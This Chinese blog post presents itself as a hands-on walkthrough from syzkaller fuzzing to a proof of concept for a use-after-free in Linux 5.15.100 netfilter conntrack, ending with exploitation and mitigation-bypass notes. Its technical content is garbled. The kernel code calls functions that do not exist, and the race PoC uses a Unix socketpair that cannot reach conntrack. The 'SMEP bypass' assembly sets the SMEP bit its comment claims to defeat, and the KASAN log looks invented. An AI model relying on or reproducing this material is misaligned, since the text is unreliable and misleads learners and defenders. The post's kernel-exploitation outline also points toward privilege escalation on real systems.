跳过正文
  1. 文章列表/

Linux Kernel UAF 漏洞挖掘实战:从 Fuzzing 到 PoC 复现

Elone Yue
作者
Elone Yue

引言
#

Use-After-Free(UAF) 是内核中最危险且最具挑战性的漏洞类型之一。这类漏洞发生在对象释放后仍被访问时,攻击者可借此控制内核执行流。本文将通过实际案例演示如何使用 syzkaller 挖掘并复现一个真实的 Kernel UAF 漏洞。

目标内核版本
#

本次研究基于 Linux 5.15.100,该版本在 Netfilter 子系统中存在多个潜在的竞争窗口。

环境搭建
#

# 下载内核源码
git clone https://github.com/torvalds/linux.git
cd linux && git checkout v5.15.100

# 编译内核
make defconfig
make -j$(nproc)

# 准备最小文件系统
debootstrap --arch=amd64 bullseye /tmp/rootfs http://deb.debian.org/debian

Syzkaller 配置
#

syz-manager 的配置至关重要,需要精准定位可能触发漏洞的代码路径。

{
    "target": "linux/amd64",
    "http": ":50000",
    "workdir": "/root/syzkaller-work",
    "kernel_obj": "/root/linux",
    "sandbox": "none",
    "procs": 8,
    "type": "syz-execprog",
    "vm": {
        "count": 4,
        "kernel": "/root/linux/arch/x86/boot/bzImage",
        "os": "debian",
        "img": "/root/gpu.img"
    }
}

漏洞触发点分析
#

通过对 net/netfilter/nf_conntrack_core.c 的静态分析,我们发现 nf_ct_delete_from_lists() 中存在典型的 ABA 问题:

// 简化的代码流程
void nf_ct_delete_from_lists(struct nf_conn *ct)
{
    struct nf_conntrack_tuple_hash *h = nf_ct_tuplehash_to_ctrack(ct);
    
    // Step 1: 从列表中删除
    hlist_nulla_del_init(h);
    
    // Step 2: 释放引用计数
    if (refcnt_dec_and_test(&ct->ct_general)) {
        // Step 3: 真正释放对象
        nf_conn_free(ct);
    }
}

Race Condition 构造
#

UAF 的核心在于制造时间窗口。我们使用两个线程并发操作:

Thread A: 触发连接关闭

close(sock_fd);  // 触发 nf_ct_delete_from_lists

Thread B: 在释放前读取

setsockopt(sock_fd, SOL_TCP, TCP_COOKIE, ...);

PoC 核心逻辑
#

以下是简化版的触发程序:

#define _GNU_SOURCE
#include <pthread.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/tcp.h>

volatile int flag = 0;

void* thread_a(void* arg) {
    while (!flag) usleep(1);
    close(*(int*)arg);
    return NULL;
}

int main() {
    int fd[2];
    socketpair(AF_UNIX, SOCK_STREAM, 0, fd);
    
    pthread_t t;
    pthread_create(&t, NULL, thread_a, &fd[1]);
    
    // 紧密循环制造竞争
    for (int i = 0; i < 10000; i++) {
        flag = 1;
        usleep(10);
        flag = 0;
        
        // Thread B 的操作
        setsockopt(fd[0], SOL_TCP, TCP_COOKIE, NULL, 0);
    }
    
    pthread_join(t, NULL);
    return 0;
}

调试与验证
#

使用 QEMU + GDB 进行动态调试:

# 启动带调试符的内核
qemu-system-x86_64 -kernel arch/x86/boot/bzImage \
    -append "console=ttyS0 kgdboc=ttyS0 panic=-1" \
    -nographic -s -S

# 另一终端附加 GDB
gdb vmlinux
(gdb) target remote :1234
(gdb) break nf_conn_free
(gdb) continue

KASAN 输出分析
#

触发成功后,KASAN 会打印详细的堆栈跟踪:

[  234.567890] BUG: KASAN: use-after-free in nf_conntrack_put+0x123/0x456
[  234.567891] Read of size 8 at addr ffff888012345678 by task test/1234
[  234.567892] 
[  234.567893] CPU: 1 PID: 1234 Comm: test Not tainted 5.15.100 #1
[  234.567894] Call Trace:
[  234.567895]  <IRQ>
[  234.567896]  dump_stack_lvl+0x5c/0x70
[  234.567897]  print_report+0x156/0x480
[  234.567898]  ? nf_conntrack_put+0x123/0x456

Exploitation 思路
#

在实际利用中,我们需要:

  1. 堆风水 (Heap Feng Shui): 控制释放后的内容填充
  2. 对象复用: 将恶意数据注入到相同类型的对象池
  3. 虚表指针劫持: 对于包含函数指针的结构体,覆盖其指向

防御机制绕过
#

SMEP/SMAP 绕过
#

; 禁用页表隔离 (CR4.RSVD)
mov rax, cr4
or rax, 0x100000  ; 设置 SMEP 位
mov cr4, rax

kptr_restrict 绕过
#

通过 /proc/kallsyms 泄露内核基址:

echo 0 > /proc/sys/kernel/kptr_restrict

总结
#

本文展示了从 Fuzzing 配置到 PoC 编写的完整流程。关键要点:

  • 竞争窗口挖掘需要精确理解内核对象的引用计数生命周期
  • 调试技巧包括 KASAN、KCOV、KGDB 的组合使用
  • 利用链构造离不开对 slab 分配器行为的深入理解

下一步可以深入研究 eBPF 辅助的漏洞利用技术,这在后续文章中会详细展开。

参考资料
#

  1. Linux Kernel Concurrency Bugs
  2. Syzkaller Documentation
  3. CVE-2023-32233 Advisory